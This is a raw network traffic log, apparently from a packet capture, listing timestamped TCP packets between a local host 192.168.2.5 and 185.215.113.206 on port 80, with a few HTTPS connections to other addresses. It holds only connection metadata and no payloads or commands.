Nov 20, 2024 00:19:28.013529062 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.013529062 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.013551950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.013571024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.171212912 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.176187992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.346998930 CET	443	62114	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:28.347656012 CET	62114	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:28.347668886 CET	443	62114	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:28.349787951 CET	62114	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:28.349795103 CET	443	62114	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:28.349828959 CET	62114	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:28.349837065 CET	443	62114	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:28.403161049 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.403173923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.403240919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.403374910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.403419971 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.403440952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.403451920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.403471947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.403484106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.403487921 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.403497934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.403522968 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.403544903 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.403713942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.403727055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.403738976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.403757095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.403772116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.403860092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.403872013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.403883934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.403899908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.403913021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.403932095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.403948069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.403959990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.403978109 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404006004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404019117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404040098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404053926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404063940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404078007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404097080 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404097080 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404123068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404133081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404144049 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404155016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404166937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404177904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404181957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404202938 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404216051 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404242992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404248953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404253960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404278994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404294014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404298067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404309988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404320002 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404331923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404345036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404366016 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404375076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404442072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404460907 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404473066 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404484987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404499054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404509068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404511929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404520988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404540062 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404556036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404560089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404571056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404573917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404586077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404591084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404599905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404608965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404622078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404628992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404634953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404639006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404649973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404659033 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404671907 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404685974 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404721022 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404732943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404743910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404755116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404761076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404769897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404778957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404783010 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404807091 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404825926 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404829979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404843092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404853106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404867887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404882908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404894114 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404915094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404927015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404942036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404954910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.404963017 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.404994011 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405025959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405038118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405055046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405061007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405061960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405066967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405071974 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405072927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405092001 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405095100 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405113935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405141115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405142069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405153990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405164957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405189037 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405200005 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405220032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405231953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405244112 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405258894 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405273914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405284882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405297995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405311108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405352116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405400038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405412912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405424118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405436993 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405448914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405453920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405468941 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405477047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405500889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405524015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405535936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405546904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405559063 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405569077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405570984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405585051 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405590057 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405599117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405603886 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405622005 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405647993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405685902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405698061 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405709028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405721903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405730963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405738115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405744076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405750036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405762911 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405778885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405811071 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405818939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405829906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405841112 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405877113 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405910969 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405922890 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405934095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405946016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405958891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405961990 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405972004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.405992985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.405992985 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406008005 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406019926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406019926 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406037092 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406049967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406061888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406096935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406179905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406184912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406196117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406233072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406255960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406274080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406286001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406295061 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406301975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406320095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406332970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406332970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406344891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406363964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406369925 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406375885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406389952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406398058 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406420946 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406450033 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406492949 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406511068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406554937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406672955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406682968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406711102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406724930 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406809092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406867981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406903982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.406915903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406954050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.406990051 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.407027006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.407088041 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.407100916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.407295942 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.480770111 CET	443	62115	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.481324911 CET	62115	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.481350899 CET	443	62115	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.481827021 CET	62115	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.481839895 CET	443	62115	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.497344971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.497366905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.497416973 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.497441053 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.516119957 CET	443	62116	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.516866922 CET	62116	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.516882896 CET	443	62116	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.517458916 CET	62116	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.517465115 CET	443	62116	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.536581039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.536637068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.536688089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.536700964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.536734104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.536740065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.536793947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.536865950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.536873102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.536909103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.536942959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.536956072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.536978006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537010908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537024021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.537048101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537081003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537096024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.537118912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537153006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537166119 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.537189007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537199974 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.537223101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537257910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537267923 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.537345886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537391901 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.537399054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537435055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537477016 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.537487030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537523031 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537544012 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.537566900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.537575006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537621975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537655115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537687063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.537708044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537715912 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.537741899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537753105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.537795067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537796021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.537833929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537868023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.537887096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537889004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.537924051 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.537933111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.537978888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538002014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.538012981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538052082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538058996 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.538093090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538103104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538106918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.538132906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.538141966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538150072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.538177013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538187981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.538213968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538228035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.538248062 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538259029 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.538281918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538295031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.538316965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538420916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.538428068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538464069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538496971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538510084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.538552046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538583040 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.538585901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538609982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.538620949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538630009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.538654089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538702011 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.538713932 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538748026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538781881 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538794994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.538815022 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538857937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.538878918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538913012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538947105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.538959980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.538980007 CET	80	49762	185.215.113.206	192.168.2.5
